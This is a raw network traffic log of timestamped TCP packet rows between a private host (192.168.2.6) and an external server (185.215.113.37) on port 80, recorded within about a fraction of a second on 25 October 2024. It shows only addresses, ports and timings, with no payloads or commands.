Oct 25, 2024 13:50:22.359016895 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.359025955 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359042883 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359060049 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.359065056 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359080076 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359086037 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.359097958 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359107971 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.359143972 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359144926 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.359158993 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359174967 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359184980 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.359198093 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359230995 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.359266996 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.359299898 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359323978 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359339952 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359345913 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.359357119 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359364033 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.359384060 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.359406948 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.359443903 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359458923 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359473944 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359488010 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359488964 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.359503984 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359508991 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.359519958 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359534979 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359538078 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.359550953 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359568119 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359575987 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.359597921 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.359630108 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.359729052 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359744072 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359760046 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359771967 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.359776020 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359792948 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359792948 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.359817028 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.359817028 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359833956 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359847069 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359849930 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.359863043 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359886885 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.359925032 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359927893 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.360013962 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.360025883 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360040903 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360054970 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360068083 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.360070944 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360088110 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360100985 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360112906 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.360116959 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360150099 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.360155106 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360169888 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360172033 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.360205889 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360209942 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.360225916 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360240936 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360255957 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360270977 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360281944 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.360317945 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.360353947 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360369921 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360393047 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360407114 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360410929 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.360414982 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360424042 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360454082 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.360471964 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.360558033 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360574007 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360590935 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360603094 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360605955 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.360630035 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.360663891 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360663891 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.360681057 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360697031 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360707045 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.360732079 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.360744953 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.360763073 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360778093 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360794067 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360807896 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.360841990 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.360843897 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360860109 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360876083 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360902071 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.360918999 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.360953093 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360968113 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.360981941 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361010075 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.361032963 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.361063004 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361078024 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361093998 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361103058 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.361108065 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361124992 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361139059 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361143112 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.361191988 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361197948 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.361207008 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361229897 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361244917 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361247063 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.361262083 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361268997 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.361279011 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361310005 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.361342907 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.361529112 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361543894 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361561060 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361576080 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361578941 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.361591101 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361598015 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.361608028 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361623049 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361637115 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361639977 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.361654043 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361659050 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.361670017 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361682892 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.361717939 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.361835003 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361850023 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361865044 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361879110 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.361880064 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361896992 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361911058 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361913919 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.361927032 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361952066 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361953974 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.361967087 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361975908 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.361984015 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.361999035 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362011909 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.362015009 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362030029 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362046003 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362046957 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.362071991 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.362092018 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362101078 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.362107038 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362123013 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362135887 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.362137079 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362154007 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.362154961 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362169027 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362184048 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.362220049 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.362235069 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362251043 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362266064 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362276077 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.362281084 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362297058 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362310886 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362314939 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.362327099 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362340927 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362351894 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.362356901 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362373114 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362375021 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.362394094 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362409115 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362411022 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.362426043 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362447977 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.362469912 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.362504005 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362518072 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362533092 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362548113 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362560987 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.362597942 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.362699986 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362715006 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362730026 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362746954 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362756968 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.362772942 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.362812042 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.362843037 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362857103 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362879992 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362886906 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.362895012 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362905025 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.362910032 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362926960 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.362926960 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362946033 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362947941 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.362963915 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362979889 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.362986088 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.362997055 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.363001108 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.363023043 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.363042116 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.363076925 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.363138914 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.363153934 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.363168001 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.363178968 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.363183975 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.363198996 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.363198996 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.363214016 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.363229036 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.363230944 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.363245964 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.363260984 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.363264084 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.363277912 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.363290071 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.363292933 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.363308907 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.363311052 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.363339901 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.363357067 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.363358974 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.363372087 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.363389015 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.363395929 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.363403082 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.363416910 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.363451958 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.366918087 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.366933107 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.366949081 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.366959095 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.366981983 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.366996050 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.367010117 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.367024899 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.367038965 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.367052078 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.367063046 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.367074966 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.367079020 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.367115974 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.367149115 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.367171049 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.367183924 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.367207050 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.367222071 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.367237091 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.367237091 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.367269993 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.367290974 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.401824951 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.401839972 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.401861906 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.401878119 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.401895046 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.401901007 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.401916981 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.401945114 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.401968002 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.401968002 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.401983976 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.402000904 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.402009964 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.402030945 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.402045012 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.402054071 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.402060986 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.402077913 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.402085066 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.402106047 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.402126074 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.402153969 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.402168989 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.402184010 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.402195930 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.402224064 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.402235031 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.458261967 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.458333015 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.458348036 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.458396912 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.458401918 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.458420038 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.458455086 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.458527088 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.476327896 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.476344109 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.476373911 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.476388931 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.476404905 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.476470947 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.476780891 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.476795912 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.476813078 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.476824045 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.476836920 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.476838112 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.476850986 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.476856947 CEST	49712	80	192.168.2.6	185.215.113.37
